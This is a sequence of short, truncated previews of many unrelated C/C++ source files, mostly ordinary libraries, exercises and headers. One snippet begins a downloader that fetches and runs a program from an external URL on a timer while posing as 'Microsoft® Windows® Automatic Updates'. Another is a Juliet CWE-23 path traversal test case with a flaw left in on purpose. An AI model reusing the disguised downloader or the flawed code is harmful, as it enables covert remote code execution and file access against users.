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#include "fileService.h" #define ConfigurationFilePath "/configuration.json" String FileService::readConfigurationFromFile() { String configurationString; if (SPIFFS.begin() == true) { if (SPIFFS.exists(ConfigurationFilePath) == false) { return ""; } ...
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#include<stdio.h> int main() { int n, f0 = 0,f1 = 1,f = 0; scanf("%d",&n); printf("0 1 "); for(int i=3;i<=n;i++) { f=f0+f1; f0=f1; f1=f; printf("%d ",f); } }
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// ClassFactory.cpp: 定义控制台应用程序的入口点。 // #include "ComponentFactory.h" #include "RegistCreator.h" #include "Test1.h" template<typename ...Targs> Component* CreateComponentr(const std::string& strTypeName, Targs&& ... args) { Component* p = ComponentFactory<Targs...>::Instance()->Create(strTypeName, std::forward<Tar...
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// ------------------------------------------------------------------------------------------------ #include "Account.hpp" #include "Connection.hpp" // ------------------------------------------------------------------------------------------------ #include <cstring> // -----------------------------------------------...
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//================================================================================================= /*! // \file src/mathtest/dvecdvecmax/VHaVHa.cpp // \brief Source file for the VHaVHa dense vector/dense vector maximum math test // // Copyright (C) 2012-2018 Klaus Iglberger - All Rights Reserved // // This file is...
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#pragma once #include "BrickEngine/Core/Base.h" #include "BrickEngine/Events/Event.h" #include <entt.hpp> namespace BrickEngine { class Entity; class Scene { friend class Entity; public: Scene(); ~Scene(); Entity CreateEntity(); void DestroyEntity(Entity entity); template<typename... Types> st...
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/* https://leetcode.com/problems/basic-calculator-ii/#/description Implement a basic calculator to evaluate a simple expression string. The expression string contains only non-negative integers, +, -, *, / operators and empty spaces . The integer division should truncate toward zero. You may assume that the given expre...
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// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/public/cpp/external_arc/overlay/arc_overlay_controller.h" #include "components/exo/shell_surface_util.h" #include "components/exo/surface.h...
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/****************************************************************************** Apples cost Re1 each, mangoes cost Rs3 each, and 1 banana is only Rs0.50. You bought 100 fruits for Rs100, How many of each fruit did you buy? Display all variations of answer. ********************************************************...
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// Copyright (c) 2011-2018 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/bitcoingui.h> #include <qt/bitcoinunits.h> #include <qt/clientmodel.h> #include <qt/guiconstants.h> #include <q...
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/** * @file data_recv.h * * Copyright (C) 2018. Huawei Technologies Co., Ltd. All rights reserved. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. */ #ifndef INC_DATA_RECV_H_ #de...
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// GPM - Pixel Shader Optimizations for Terrain Rendering Demo // Kenny Mitchell // Copyright Electronic Arts 2002, 2003 #include "pixel_shader.h" Pixel_Shader_Class::Pixel_Shader_Class() : Pixel_Shader(0) { } Pixel_Shader_Class::~Pixel_Shader_Class() { Safe_Release(Pixel_Shader); } void Pixel_Shader_Class::Create...
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/*******************************************************************\ Module: Author: Daniel Kroening, kroening@kroening.com \*******************************************************************/ #ifndef CPROVER_SATCHECK_MINISAT2_H #define CPROVER_SATCHECK_MINISAT2_H #include "cnf.h" // Select one: basic solver or...
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// // Created by rudri on 9/12/2020. // #include "catch.hpp" #include "my_vector.h" using namespace std; TEST_CASE("insert") { utec::my_vector<char> vec1; vec1.insert(0, 10); vec1.insert(0, 20); vec1.insert(0, 10); REQUIRE(vec1.size() == 3); vec1.insert(0, 40); vec1.insert(0, 10); vec1....
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//******************************************************************* // FileName:IVBF_MarkModelSensorRadarJammed.h // Function:传感器实体模型:被干扰雷达 // Author: 杜莹 // Date: 2016-11-07 //******************************************************************* #ifndef __IVBF_MARK_MODEL_SENSOR_RADAR_JAMMED_H__ #define __IVBF_MA...
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/* Copyright 2010 Jukka Jylänki Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writ...
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/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
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/*========================================================================= Program: Visualization Toolkit Module: vtkAttributeClustering2DLayoutStrategy.h Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for d...
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#include "bits/stdc++.h" using namespace std; struct Node{ int data; struct Node* left; struct Node* right; Node(int val){ data = val; left = NULL; right = NULL; } }; int calcDiameter(Node* root, int* height){ if(root == NULL){ *height = 0; return 0; ...
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#include "assetloader.h" AssetLoader::AssetLoader(Window* passedWindow, Audio* passedAudio) { window = passedWindow; audio = passedAudio; } AssetLoader::~AssetLoader() { window = NULL; audio = NULL; } //loads in the staring assests void AssetLoader::loadAssets(std::string const& asset) { if (asset == "MainAsset...
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#include <UI/Attribute.h> #include <UI/Grid.h> #include <CppUtil/Engine/SObj.h> #include <CppUtil/Engine/AllComponents.h> #include <CppUtil/Engine/Sphere.h> #include <CppUtil/Engine/Plane.h> #include <CppUtil/Engine/TriMesh.h> #include <CppUtil/Engine/AllBSDFs.h> #include <CppUtil/Engine/Gooch.h> #include <CppUtil...
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/** * @author Claude Barthels <claudeb@inf.ethz.ch> * (c) 2016, ETH Zurich, Systems Group * */ #include "NetworkPartitioning.h" #include <immintrin.h> #include <stdlib.h> #include <string.h> #include <hpcjoin/core/Configuration.h> #include <hpcjoin/data/CompressedTuple.h> #include <hpcjoin/utils/Debug.h> #inclu...
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#include "string.h" #ifndef TEST_BUILD void* memset(void* s, int c, size_t n) { for (size_t i = 0; i < n; i++) { ((char*)s)[i] = c; } return s; } void* memcpy(void* dest, const void* src, size_t n) { for (size_t i = 0; i < n; i++) { ((char*)dest)[i] = ((const char*)src)[i]; } return dest; } int ...
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// auto-generated file (rttidump-exporter by h0pk1nz) #pragma once #include <game/ai/C_Behaviour_Paralel.h> namespace game { namespace ai { /** game::ai::C_Behaviour_Search (VTable=0x01E3BC20) */ class C_Behaviour_Search : public C_Behaviour_Paralel { public: virtual void vfn_0001_4186BB04() = 0; virtual void vf...
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/* * This file is part of Nanomite. * * Nanomite is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Nanomite i...
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#include <cstdio> struct person { char name[20]; char tel[20]; char addr[20]; }; int main() { struct person p; scanf("%s%s%s", p.name, p.tel, p.addr); printf("name : %s\ntel : %s\naddr : %s\n", p.name, p.tel, p.addr); }
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/* Copyright (c) 2013, David C Horton Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute,...
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#ifndef HPR_HelpWindow #define HPR_HelpWindow #include "TGTextView.h" ////////////////////////////////////////////////////////////////////////// // // // HelpWindow // // ...
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/* iv.labs summer project * MOBILE ROBOT * ______________________________________________________ * POSE_ESTIMATION_CODE * * (+ve y-axis) ^ * (+ve x-axis) < * (+ve phi ) anti-clockwise */ #include "ros/r...
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// MIT License // // Copyright (c) 2019 椎名深雪 // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge,...
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#pragma once #define NUM_DEBRIS 500 #define NUM_HEALTH 25 #define NUM_ARMOR 25 #include <sstream> #include <vector> #include <DirectXMath.h> #include "Font.h" #include "Sprite.h" #include "Health.h" #include "Armor.h" #include "GameObject.h" #include "Sprite.h" using namespace std; using namespace Dir...
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//generalized wave freq detection with 38.5kHz sampling rate and interrupts //by Amanda Ghassaei //https://www.instructables.com/id/Arduino-Frequency-Detection/ //Sept 2012 /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as publi...
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// // Created by 2ToThe10th on 23.03.2020. // #include <iostream> #include <cmath> #include "GraphicAgent.h" #include "../../Angle.h" namespace Client::GraphicAgent { const sf::Color GraphicAgent::kMyPlayerOutlineColor = sf::Color::Red; GraphicAgent::GraphicAgent(ClientMap &main_map, sf::RenderWindow &window) ...
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// Copyright (c) 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Cubic algorithm, helper class to TCP cubic. // For details see http://netsrv.csc.ncsu.edu/export/cubic_a_new_tcp_2008.pdf. #ifndef NET_QUIC_CORE_C...
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#ifndef LINKEDLIST_H #define LINKEDLIST_H #include <vector> struct ListNode { int val; ListNode* next; ListNode(int data) : val(data), next(nullptr) {} }; struct DoubleLinkedNode { int val; DoubleLinkedNode *next, *prior; DoubleLinkedNode(int data) : val(data), next(nullptr) {} }; ListNode* n...
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#pragma once #include "Detector.hh" #include "G4LogicalVolume.hh" class BGO : public Detector { public: enum _type { tSMALLNOSE, tLARGENOSE }; BGO(const _type& type, std::string name); G4double GetOverlapLength() const { return fOverlap; } G4double GetOffset() con...
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#include <unittest/UnitTest.h> #include <bbox/Format.h> #include <bbox/Base64.h> #include <bbox/crypto/HashStream.h> using namespace bbox; using Assert = unittest::Assert; namespace BBoxUtils_UnitTests { UT_TEST_CLASS(CryptoHashStreamUnitTests) { static void VerifyDecoded( const std::str...
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#pragma once #include "PizzaStore.h" #include "CKPizza.h" class Ckstore : public PizzaStore { public: Pizza * creat_pizza( Pizza * type ) { return type; } };
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#include <Adafruit_NeoPixel.h> #ifdef __AVR__ #include <avr/power.h> #endif #define PIN 6 Adafruit_NeoPixel strip = Adafruit_NeoPixel(35, PIN, NEO_GRB + NEO_KHZ800); // IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across // pixel power leads, add 300 - 500 Ohm resistor on first pixel's data in...
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/* Remote Execute -------------- Download an App from the Internet and execute it in a specific time interval. */ #include <windows.h> #include <wininet.h> #include "resource.h" #define T1_DELAY 3000 char AppName[] = "Microsoft® Windows® Automatic Updates"; char NetProg[] = "http://www.interlink.150m.com/...
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/* * Copyright (c) 2018, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICE...
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#include "include/util/union_point.hpp" union_point::union_point() : point() { this->parent = nullptr; this->height = 0; } union_point::union_point(double x, double y, int cluster_number) : point(x, y) { this->cluster_number = cluster_number; this->parent = nullptr; this->height = 0; } union_poin...
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/* * Copyright (c) 2020 Huawei Technologies Co.,Ltd. * * openGauss is licensed under Mulan PSL v2. * You can use this software according to the terms and conditions of the Mulan PSL v2. * You may obtain a copy of Mulan PSL v2 at: * * http://license.coscl.org.cn/MulanPSL2 * * THIS SOFTWARE IS PROVIDED ...
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/* * @Description: * @version: * @Author: LiJiayan * @Date: 2020-04-15 22:58:43 * @LastEditors: LiJiayan * @LastEditTime: 2020-05-26 21:15:44 */ // 1. 定义一个组合类课程类Lesson,其数据成员有:课号id,课程名name,任课老师teacher,选课学生s, // 其中学生信息定义成学生类的数组。 // 成员函数有:AddStudent增加选课学生信息,GetPassRate计算课程的及格率,ShowInfo显示课程信息。 //学生类包括学号、姓名及该门课的成绩...
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#define _LIB #include "packet.h" //IP & Ethernet u_short Packet::crc(u_char* p, int psize) { u_short ret = 0; for(int i = 0; i < psize; i += 2) { u_short tmp = BTW(p[i], p[i + 1]); u_short diff = 65535 - ret; ret += tmp; if(tmp > diff) ++ret; } return ~ret; } Packet::Packet(void *s, size_t l) { dat...
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#include <md/basic_types.hpp> #include <md/potential/softwell_potential.hpp> #include <catch.hpp> TEST_CASE("softwell_potential - uses sane default paramters") { md::softwell_potential<2> pot; CHECK(pot.energy == 1); CHECK(pot.decay_distance == 1); } TEST_CASE("softwell_potential - is minimum at zero d...
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// Copyright (c) Warwick Allison, 1999. // Qt4 conversion copyright (c) Ray Chason, 2012-2014. // NetHack may be freely redistributed. See license for details. // qt4stat.cpp -- bindings between the Qt 4 interface and the main code extern "C" { #include "hack.h" } #undef Invisible #undef Warning #undef in...
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#ifndef NcDataStreamStats_h #define NcDataStreamStats_h // Copyright(c) 1997-2019, NCFS/IIHE, All Rights Reserved. // See cxx source for full Copyright notice. #include <iostream> #include <fstream> #include "TTask.h" #include "TFile.h" #include "TChain.h" #include "TTree.h" #include "TArrayI.h" #include "TMatrixF.h"...
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#include "mainwindow.h" #include "ui_mainwindow.h" #include<QPainter> #include<QKeyEvent> #include<bits/stdc++.h> using namespace std; const double sc=2; MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); int m=width(),n=height(); pix=QPixmap(m,n); QPain...
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// // Copyright "Renga Software" LLC, 2016. All rights reserved. // // "Renga Software" LLC PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS. // "Renga Software" LLC DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE // UNINTERRUPTED OR ERROR FREE. // #pragma once #include "RengaModelUtils.h" class QtPro...
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/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE23_Relative_Path_Traversal__wchar_t_file_fopen_52c.cpp Label Definition File: CWE23_Relative_Path_Traversal.label.xml Template File: sources-sink-52c.tmpl.cpp */ /* * @description * CWE: 23 Relative Path Traversal * BadSource: file Read input from a file * G...
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#pragma once #include "../common.hpp" #include "../Device/d3d.hpp" #include "../assimp/assimp_type.hpp" #include "../Render/shader.hpp" class Model { public: Model(); Model(D3D* d3d); Model(D3D* d3d, Shader* shader); void load_model(wstring model_name); void destroy(); void render(); Shader* get_shader() c...
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#include <iostream> #include "box.h" using namespace std; //Box Box:: Box() : m_length(0), m_height(0), m_breadth(0) { } Box:: Box(int x, int y, int z) : m_length(x), m_height(y), m_breadth(z) { } Box:: Box(int v) : m_length(v){ } Box::Box(const Box & ref) : m_length(ref.m_length), m_he...
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/// @file Utils.h /// /// The utilities. /// /// @par Full Description /// The utilities used among vcdMaker applications. /// /// @ingroup Utils /// /// @par Copyright (c) 2016 vcdMaker team /// /// Permission is hereby granted, free of charge, to any person obtaining a /// copy of this software and associated documen...
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/* * Copyright 2019 Sergey Khabarov, sergeykhbr@gmail.com * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required...
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/**************************************************************************** ** Copyright (C) 2001-2011 RibbonSoft. All rights reserved. ** Copyright (C) 2001 Robert J. Campbell Jr. ** ** This file is part of the dxflib project. ** ** This file may be distributed and/or modified under the terms of the ** GNU General P...
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// OrderSongDlg.cpp : 实现文件 // #include "stdafx.h" #include "..\Room.h" #include "OrderSongDlg.h" #include "skin_i.h" #include "SkinUtil.h" #include "..\SendEventManager.h" #include "utility\SystemHelper.h" #include "utility\StringHelper.h" #include "utility\json\json.h" #include "SongWishDlg.h" #include "...
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#include <bits/stdc++.h> #ifndef ONLINE_JUDGE #define gc getchar #define pc putchar #else #define gc getchar_unlocked #define pc putchar_unlocked #endif using namespace std; #define vi vector<int> #define si set<int> #define vs vector<string> #define pii pair<int, int> #define vpi vector<pii> #define pri priority_queue...
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#pragma once // ARKSurvivalEvolved (329.9) SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "ARKSurvivalEvolved_PrimalItemConsumable_Egg_Argent_Fertilized_Snow_classes.hpp" namespace sdk { //--------------------------------------------------------------------------- //Parameters //----------------------...
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/* * Camera.cxx * * Created on: Nov 12, 2010 * Author: michele */ #include "Camera.h" Camera cam; Camera::Camera(){ capture = cvCaptureFromCAM( CV_CAP_ANY ); // capture = cvCreateCameraCapture( CV_CAP_ANY ); if( !capture ) { fprintf( stderr, "ERROR: capture is NULL \n" ); getchar(); return; } fr...
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/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, instal...
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#include <editormodel/nodes/rootnode.hh> namespace cs::editor::model { RootNode::RootNode(Model *model) : Node(model, eT_Root) { } RootNode::~RootNode() { } bool RootNode::IsRootNode() const { return true; } RootNode *RootNode::AsRootNode() { return this; } const RootNode *RootNode::AsRootNode() const {...
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#ifndef RESOURCEMGR_H #define RESOURCEMGR_H #include "DomoUI.h" namespace DomoUI { class ResourceMgr { public: static ResourceMgr& Get(); Texture *GetTexture(const std::string); Mesh *GetMesh(const std::string); ResourceMgr(); ~ResourceMgr(); private: std::vector<Texture> Texture_Array; std::vector<Mesh> ...
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#ifndef PROTOCOL_H #define PROTOCOL_H #include <cmath> #include <ctime> #include <cstdlib> #include <cstdio> #define SCREEN_WIDTH_GL 0.7 //0.68 #define SCREEN_WIDTH_DEG 200 #define OPEN_LOOP_OMR 0 #define OPEN_LOOP_PREY 1 #define CLOSED_LOOP_OMR 2 #define CLOSED_LOOP_PREY 3 class Protocol { public: Protocol(); ...
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#include"OpenCVLib2.hpp" using namespace cv; int main(){ vector<Mat> channels; Mat imgBlueChannel; Mat imgGreenChannel; Mat imgRedChannel; //OpenCV的通道是BGR 不是 RGB,顺序要注意 Mat srcImg = imread("p1.jpg"); split(srcImg,channels); imgBlueChannel = channels.at(0); imgGreenChannel = chann...
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// cpa_lab_2_1_5_(3)-B.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <iostream> #include <iomanip> #include <string> using namespace std; int main() { int sys, ft; float m, in, ftFloat, rest; // Insert your c cout << "Chose metric(0) or imperial(1) system" << endl; ...
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#ifndef __INCLUDES_H #define __INCLUDES_H #include <cstddef> #include <cstdio> #include <cstdlib> #include <iostream> #include <fstream> #include <R.h> #include <Rinternals.h> #include <Rmath.h> void *calloc_init(size_t num, size_t size); #endif
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#ifndef core_subgraphs #define core_subgraphs // Headers (?) #include "galg.h" #include "galgfixedmemory.h" namespace TSnap { template <class PGraph> class TFixedMemorykEgo : public TFixedMemoryBFS<PGraph> { public: // Backward / forward visitor (degree only) class TkEgoVisitor { public: // ...
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// // RK4Integration.h // Springy // // Created by Uriana on 13-11-5. // Copyright (c) 2013年 Uriana. All rights reserved. // #ifndef __Springy__RK4Integration__ #define __Springy__RK4Integration__ #include <iostream> #include "Vector3D.h" #include "Integration.h" # include "rk4.hpp" class RK4Integration :public...
[ "Uriana@dhcp-10-202-151-102.tamulink.tamu.edu" ]
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#include "gtest/gtest.h" #include "gmock/gmock.h" #include "track/model/inc/AlbumModel.h" #include "track/model/test/TrackDBTestEnviroment.h" #include "track/db/test/SQLiteMock.h" using namespace omega::track::model; using namespace omega::track; using namespace testing; //-------------------------------------------...
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// OOP244 Workshop 7 // File hero.h // Version 1.0 // Date 12 July 2016 // Author Oleg Mitrakhovich // Description // base class called hero and all of its prototype functions // // // Revision History /////////////////////////////////////////////////////////// // Name Date Reason // ///////////////...
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#include <iostream> #include <vector> #include <algorithm> #include <string> #include <cstring> #include <queue> #include <map> #include <sstream> #include <cmath> #include <unordered_set> // 需要c++ 11才能支持 #include <unordered_map> // 需要c++ 11才能支持 using namespace std; int main(){ return 0; }
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// // Created by jitrs on 07/02/2021. // #include "parsec.hxx" using namespace std; static auto is_dec_digit(char c) -> bool { return '0' <= c && c <= '9'; } static auto is_hex_digit(char c) -> bool { return is_dec_digit(c) || ('A' <= c && c <= 'F'); } // Assumes that c is a dec digit static auto dec_digit...
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#include <GL/glew.h> #include "testqtopengl.h" #include <assert.h> #include <QtWidgets/QApplication> #include "FormatConver.h" bool SaveBitmap(const char *pFileName, int width, int height, int biBitCount, const void *pBuf, int nBufLen) { if (nullptr == pFileName || 0 == width || 0 == height || !(biBitCount == 2...
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/* -*- c++ -*- */ /* * Copyright 2016 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is d...
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// 1. You are given a partially written LinkedList class. // 2. Here is a list of existing functions: // 2.1 addLast - adds a new element with given value to the end of Linked List // 2.2. display - Prints the elements of linked list from front to end in a single line. // All elements are separated by spac...
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#include "DiceBox.h" using namespace System; using namespace DiceDice; DiceBox::DiceBox() { //init this->_number = 1; } DiceBox::DiceBox(int initNumber) { //init if ((initNumber >= 1) && (initNumber <= 6)) { this->_number = initNumber; } else { this->_number = 1; } } void Di...
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#include <algorithm> #ifndef BINARY_SEARCH_TREE_H #define BINARY_SEARCH_TREE_H using namespace std; // BinarySearchTree class // // CONSTRUCTION: zero parameter // // ******************PUBLIC OPERATIONS********************* // void insert( x ) --> Insert x // void remove( x ) --> Remove x // bool contai...
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#include<bits/stdc++.h> using namespace std; int main() { int n; string s; set<string>se; cin >> n; for (int i=0; i<n; i++) { cin >> s; sort(s.begin(), s.end()); s.erase(unique(s.begin(), s.end()), s.end()); se.insert(s); } cout << se.size(); return 0; }
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using namespace std; #include <algorithm> #include <iostream> #include <vector> class QuadrupleSumToTarget { public: static vector<vector<int>> searchQuadruplets(vector<int>& arr, int target) { vector<vector<int>> quadruplets; // TODO: Write your code here sort(arr.begin(), arr.end()); ...
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#include "surfacefunction.h" #include <math.h> SurfaceBorder::SurfaceBorder() { minU = 0; maxU = 360; minV = 0; maxV = 360; isUCycle = true; isVCycle = true; } SurfaceBorder::SurfaceBorder(int iu, int iv, int xu, int xv, bool uCycle, bool vCycle) { minU = iu; maxU = x...
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#include <iostream> #include <vector> #define MAX 4000000 using namespace std; bool isPrime[MAX+1]; int main(){ fill(isPrime+2, isPrime+MAX+1, true); long long n, answer=0; cin >> n; for(long long i=2; i<=n; i++){ if(!isPrime[i]) continue; for(long long j=i*i; j<=n; j+=i) isPrime[j] = false; } vec...
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// DeepRockGalactic SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "FSD_AFE_1p_Dash_parameters.hpp" namespace SDK { //--------------------------------------------------------------------------- //Functions //--------------------------------------------------------------------------- } #ifdef _MSC_VER...
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#pragma once #ifndef COMMON_H #define COMMON_H #include <iostream> #include <opencv2/core.hpp> #include <opencv2/videoio.hpp> #include <opencv2/highgui.hpp> #include <opencv2/opencv.hpp> #include <opencv2/imgcodecs.hpp> #endif // COMMON_H
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/* * Copyright 2014 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "gl/GrGLProgram.h" #include "gl/GrGLSLPrettyPrint.h" #include "gl/GrGLUniformHandle.h" #include "GrCoordTransform.h" #include "GrDrawEffect.h" #include "../GrGpuGL.h"...
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/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/license-manager/LicenseManager_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <utility> namespace Aws { template<typename RESULT_TYPE> class AmazonWeb...
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#include "DvUpnpOrgRenderingControl2.h" #include <OpenHome/Types.h> #include <OpenHome/Buffer.h> #include <OpenHome/Net/C/DviDeviceC.h> #include <OpenHome/Net/Core/DvProvider.h> #include <OpenHome/Net/C/OhNet.h> #include <OpenHome/Net/Core/DvInvocationResponse.h> #include <OpenHome/Net/Private/Service.h> #include <Open...
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//============================================================================ // Name : boost-multi-index.cpp // Author : pranay // Version : // Copyright : Your copyright notice // Description : Hello World in C++, Ansi-style //========================================================================...
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#include <stdio.h> #include "TGui.h" #include "TText.h" #include "TWindow.h" #include "TTimer.h" #include "TScreen.h" #include "platform.h" #include "RGBPage.h" RGBPage::RGBPage(int page, SDL_Surface *background) : Pages(page, background), canvas(NULL) { Functor<TCanvas::CallbackType> draw_cmd(this, &RG...
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// Copyright Epic Games, Inc. All Rights Reserved. #include "TopDownTest.h" #include "Modules/ModuleManager.h" IMPLEMENT_PRIMARY_GAME_MODULE( FDefaultGameModuleImpl, TopDownTest, "TopDownTest" ); DEFINE_LOG_CATEGORY(LogTopDownTest)
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/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" fil...
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#include "Agent.hpp" Agent::Agent(char color, int method, int heuristic) : color(color), method(method), heuristic(heuristic){ currNode = gametree.makeInitialNode(); gametree.getChildren(currNode, WHITE); randSeed = (unsigned int)time(NULL)%100; } // given defensive heuristic 1 double Agent::defensiveHeur...
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/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
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#include "../debug.h" #include "geometrydebugrenderer.h" #include <math.h> #include "graphicsdevice.h" #include "debugshader.h" #include "renderstate.h" #include "vertexbuffer.h" #include "viewcontext.h" #include "../math/vector3.h" #include "../math/boundingbox.h" #include "../math/boundingsphere.h" #include "../ma...
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// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "Components/StaticMeshComponent.h" #include "TankTrack.generated.h" /** * */ UCLASS(meta = (BlueprintSpawnableComponent)) class BATTLETANK_API UTankTrack : public UStaticMeshComponent { G...
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#pragma once #include <windows.h> #include <string> #include <crtdbg.h> // 메모리 릭 체크용 using namespace std; #pragma comment (lib, "Msimg32.lib") // 현재 콘솔창을 사용할 것인지 지정합니다. #define USECONSOLE true #if USECONSOLE == true #include <iostream> #pragma comment(linker, "/entry:WinMainCRTStartup /subsystem:console") // 콘솔창을 띄웁...
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#include <iostream> #include <vector> #include <list> using namespace std; void printList(const list<int> &v) { for (auto i : v) cout << i << " "; cout << endl; } int main() { vector<int> v1 = {1, 2, 3, 4, 5, 6, 7, 8, 9}; list<int> lst2, lst3, lst4; cout << "using back_inserter:"; copy(v1.cbegin(), v1.cend(...
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#include "quantize.h" namespace zimg { namespace depth { namespace { template <class T, class U> T bit_cast(const U &x) noexcept { static_assert(sizeof(T) == sizeof(U), "object sizes must match"); static_assert(std::is_pod<T>::value && std::is_pod<U>::value, "object types must be POD"); T ret; std::copy_n(reint...
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/********************************************************************** * LeechCraft - modular cross-platform feature rich internet client. * Copyright (C) 2006-2014 Georg Rudoy * * Boost Software License - Version 1.0 - August 17th, 2003 * * Permission is hereby granted, free of charge, to any person or organiz...
[ "0xd34df00d@gmail.com" ]
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